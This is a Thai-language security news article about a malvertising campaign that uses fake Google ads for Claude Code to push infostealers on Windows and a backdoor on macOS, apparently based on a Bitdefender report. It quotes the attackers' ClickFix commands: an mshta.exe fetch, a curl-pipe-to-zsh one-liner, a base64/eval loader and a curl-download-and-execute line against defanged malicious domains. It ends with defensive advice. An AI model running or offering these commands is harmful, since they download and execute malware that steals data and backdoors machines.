โฆษณา Claude Code ปลอม ระบาดบน Google แฝงมัลแวร์
โฆษณา Claude Code ปลอม ระบาดบน Google แฝงมัลแวร์โจมตีได้ทั้งบน Windows และ macOS
โฆษณาปลอมเพื่อการปล่อยมัลแวร์ หรือ Malvertising เรียกได้ว่ากำลังระบาดอย่างหนักในปัจจุบัน โดยโฆษณาเหล่านี้มักจะแอบอ้างชื่อผลิตภัณฑ์ หรือ บริการด้านไอทียอดนิยมมากมายหลายตัว และในคราวนี้ Claude Code เครื่องมือปัญญาประดิษฐ์ หรือ AI (Artificial Intelligence) ชื่อดังก็ได้กลายมาเป็นเหยื่อในการสวมรอยเช่นเดียวกัน
จากรายงานโดยเว็บไซต์อย่างเป็นทางการของผู้พัฒนาเครื่องมือต่อต้านมัลแวร์ Bitdefender ได้กล่าวถึงการตรวจพบแคมเปญการแพร่กระจายมัลแวร์ที่มุ่งเน้นโจมตีทั้งผู้ใช้งานระบบปฏิบัติการ Windows และ macOS ซึ่งแคมเปญดังกล่าวนั้นจะเริ่มต้นด้วยการที่แฮกเกอร์ทำการซื้อโฆษณาจาก Google เพื่อปล่อยโฆษณา “Claude Code” ปลอม ที่มีการทำการเขียนโฆษณาคล้ายกับของจริงทุกอย่าง โดยโฆษณาปลอมนี้จะปรากฏขึ้นมาเมื่อเหยื่อทำการค้นหาคำว่า “download claude code” หรือคล้ายกันผ่านทาง Google
หลังจากเหยื่อหลงกดเข้าโฆษณาดังกล่าวแล้ว ตัวโฆษณาก็จะพาเหยื่อไปยังหน้าบอกรายละเอียดของตัวแอปพลิเคชัน หรือ Documentation ปลอมที่ถูกฝากไว้บน Squarespace ซึ่งหน้าเพจปลอมนั้นจะทำคล้ายกับหน้าเพจจริงของ Claude Code ทุกอย่างจนแทบไม่มีอะไรน่าสงสัย นอกจากจุดสังเกตหลักนั่นคือ URL ที่ไม่ตรงกับของจริงเท่านั้ น ในขั้นถัดไป ตัวเพจจะมีการนำเสนอให้เหยื่อทำการดาวน์โหลดและติดตั้ง Claude Code (ปลอม) ลงบนเครื่อง ซึ่งแทนที่จะเป็นการดาวน์โหลดตามปกติ กลับเป็นคำสั่ง (Instruction) ในรูปแบบเดียวกับการใช้การแจ้งข้อผิดพลาดปลอมสั่งการให้เหยื่อติดตั้งมัลแวร์เพื่อแก้ไขข้อผิดพลาด หรือ ClickFix โดยขั้นตอนนี้จะแตกต่างออกไปตามแต่สคริปท์บนเพจปลอมจะจับได้ ซึ่งความแตกต่างจะเป็นไปตามนี้
สำหรับผู้ใช้งาน Windows
จะเป็นการรันคำสั่งผ่านทาง PowerShell ด้วยคำสั่งนี้
C:WindowsSysWOW64mshta.exe https://download.active-version[.]com/claude
หรือ ทางเพจอาจให้เหยื่อรันคำสั่งต่อไปนี้ผ่านทาง Windows CMD แทน
C:WindowsSysWOW64mshta.exe https://download.active-version[.]com/claude
ซึ่งทั้งสองคำสั่งจะนำไปสู่การใช้งาน mshta.exe ซึ่งเป็นแอปพลิเคชันของ Windows สำหรับรันแอปพลิเคชันแบบ HTML หรือ ไฟล์ในสกุล HTA ซึ่งการรันไฟล์ดังกล่าวจะนำไปสู่การดาวน์โหลดไฟล์ติดตั้งมัลแวร์ประเภทขโมยข้อมูลจากเครื่องของเหยื่อ หรือ Infostealer 2 ตัวลงมาติดตั้ง นั่นคือ
Trojan.Stealer.GJ
Trojan.Stealer.GK
ในส่วนไฟล์ที่ดาวน์โหลดลงมานั้นจะประกอบด้วยไฟล์สำหรับรัน (Executanle File) และไฟล์ HTA โดยไฟล์หลังนี้จะทำหน้าที่ในการถอดรหัส (Decrypt) ไฟล์มัลแวร์ (Payload) ซึ่งถูกฝังโค้ดในรูปแบบ Microsoft Intermediate Language (MSIL) ไว้ในหน่วยความจำ ซึ่งหลังจากถอดรหัสออกมาแล้ว ไฟล์ HTA จะทำหน้าที่รันโค้ดดังกล่าวเพื่อแปลงออกมาเป็นมัลแวร์อีก 2 ตัวนั่นคือ
IL:Trojan.MSILZilla.245316
Gen:Variant.Barys.509034
สำหรับผู้ใช้งาน macOS
เนื่องจากระบบการป้องกันบน macOS นั้นแข็งแกร่งกว่า Windows ขั้นตอนที่สั่งการให้เหยื่อทำก็จะยุ่งยากซับซ้อนกว่า เพื่อเป็นการตีรวนระบบป้องกัน (Obfuscation) ให้มัลแวร์แทรกซึมลงเครื่องของเหยื่อ โดยเริ่มจากการให ้เหยื่อรันคำสั่งที่มีการถอดรหัส (Decoded) ค่าสตริงที่ถูกเข้ารหัส (Encoded) ในรูปแบบ Base-64 ออกมาเป็นไฟล์รูปแบบ zsh ด้วยคำสั่งดังนี้
echo "macOS Download: http://code.claude[.]ai/download/" && curl -sSfL $(echo ' '|base64 -D)| zsh
เมื่อเหยื่อรันคำสั่งเสร็จเรียบร้อยแล้ว สคริปท์ตัวที่ 2 ก็จะทำงานในทันทีเพื่อถอดรหัสและคลายโค้ด Payload ออกมา ซึ่งตัวสคริปท์นั้นมีลักษณะ ดังนี้
#!/bin/zsh
tnyrzi=$(base64 -D <<'PAYLOAD_END' | gunzip
PAYLOAD_END
)
eval "$tnyrzi"
ซึ่งสคริปท์ดังกล่าวหลังจากที่รันเสร็จเรียบร้อย ก็จะนำไปสู่การรันคำสั่งอีกตัว เพื่อดึ่ไฟล์แอปพลิเคชันในรูปแบบ Mac-O Binary ลงมาจากโดเมน https://wriconsult[.]com/n8n/update ด้วยคำสั่งดังนี้
#!/bin/zsh
curl -o /tmp/helper https://wriconsult[.]com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper
ทั้งหมดนี้เป็นไปอย่างเงียบเชียบหลังจากที่เหยื่อรันคำสั่งแรก โดยมัลแวร์ที่ติดตั้งลงบนเครื่องของเหยื่อนั้นจะเป็นมัลแวร์ประเภทเปิดประตูหลังของระบบ (Backdoor) ที่ไม่ทราบชื่อ โดยมัลแวร์ตัวนี้มีความสามารถในการต่อต้านการรันบนสภาพแวดล้อมจำลอง (Anti-Sandbox หรือ Anti-VM) ทำให้ถูกวิเคราะห์โดยเครื่องมือ หรือผู้เชี่ยวชาญได้ยากเพราะมัลแวร์จะไม่ทำงานในสภาพแวดล้อมดังกล่าว
จากประสบการณ์ส่วนตัวที่เคยเจอเหตุการณ์ Malvertising หรือโฆษณาปลอมที่แฝงมัลแวร์ ผมพบว่าแฮกเกอร์มีความชาญฉลาดในการสร้างโฆษณาที่ดูเหมือนของแท้และใช้ชื่อผลิตภัณฑ์ไอทีชื่อดังอย่าง Claude Code เพื่อหลอกล่อผู้ใช้ให้หลงเชื่อ การโจมตีวิธีนี้มักเกิดจากการค้นหาคำที่เกี่ยวข้องกับการดาวน์โหลดซอฟต์แวร์ แล้วโฆษณาปลอมจะปรากฏขึ้นบนหน้า Google Search ที่ผ่านตากันง่ายมาก สิ่งสำคัญที่ผมเรียนรู้คือการสังเกต URL ที่แตกต่างจากของจริงอย่างชัดเจน เพราะหน้าเว็บปลอมจะทำเหมือนเว็บจริงทุกอย่าง ยกเว้นแค่ URL เท่านั้น ในขั้นตอนการดาวน์โหลดซอฟต์แวร์ปลอมเหล่านี้จะพยายามให้เรารันคำสั่งบางอย่างบนเครื่องเพื่อดาวน์โหลดมัลแวร์ตั้งแต่ Trojan Stealer ซึ่งทำหน้าที่ขโมยข้อมูล จนถึงมัลแวร์ Backdoor ที่ซ่อนเร้นซับซ้อนมากขึ้นโดยเฉพาะใน macOS สำหรับผู้ใช้งาน Windows ระบบมักโดนโจมตีผ่าน mshta.exe ที่ใช้รันโค้ด HTML และ HTA ที่เป็น payload มัลแวร์ ซึ่งผมแนะนำให้หลีกเลี่ยงการรันคำสั่งที่ไม่รู้แหล่งที่มาและไม่ดาวน์โหลดไฟล์จากลิงก์ที่ไม่น่าเชื่อถือ การมีโปรแกรมแอนตี้มัลแวร์ที่เชื่อถือได้ เช่น Bitdefender จะช่วยแจ้งเตือนและป้องกันได้ดีขึ้น ในส่วนของ macOS แม้จะมีระบบรักษาความปลอดภัยที่ดีกว่า แต่มัลแวร์ชุดนี้จะซับซ้อนและใช้เทคนิคถอดรหัส Base64 เพื่อแทรกซึมเข้ามา การรันสคริปท์ที่ไม่ชัดเจนหรือได้รับจากแหล่งไม่เป็นทางการ ทำให้เครื่องเสี่ยงต่อการถูกควบคุมผ่าน backdoor malware ที่แทบไม่สามารถตรวจจับได้ง่าย ๆ ด้วยเทคนิคเหล่านี้ ผมจึงขอแนะนำให้ผู้ใช้งานทุกคนตรวจสอบก่อนคลิกลิงก์โฆษณาบน Google โดยเฉพาะลิงก์ดาวน์โหลดโปรแกรมชื่อดัง และหลีกเลี่ยงการพิมพ์คำสั่งในเครื่องโดยไม่เข้าใจหรือไม่มั่นใจในความปลอดภัย นอกจากนี้ควรอัปเดตซอฟต์แวร์แอนตี้ไวรัสอยู่เสมอเพื่อมีการตรวจจับและป้องกันมัลแวร์รูปแบบใหม่ ๆ ได้ทันที สุดท้ายการรักษาความปลอดภัยบนอุปกรณ์ของเรานั้นไม่ได้ขึ้นอยู่กับแค่ระบบปฏิบัติการหรือแอนตี้ไวรัสเท่านั้น แต่รวมถึงความระมัดระวังของผู้ใช้เองที่จะสังเกตและไม่หลงเชื่อโฆษณาหรือเว็บไซต์ปลอมที่มีจุดสังเกตที่ผิดปกติ เพียงเท่านี้ก็จะช่วยลดความเสี่ยงในโลกดิจิทัลที่เต็มไปด้วยภัยคุกคามได้มากทีเดียว
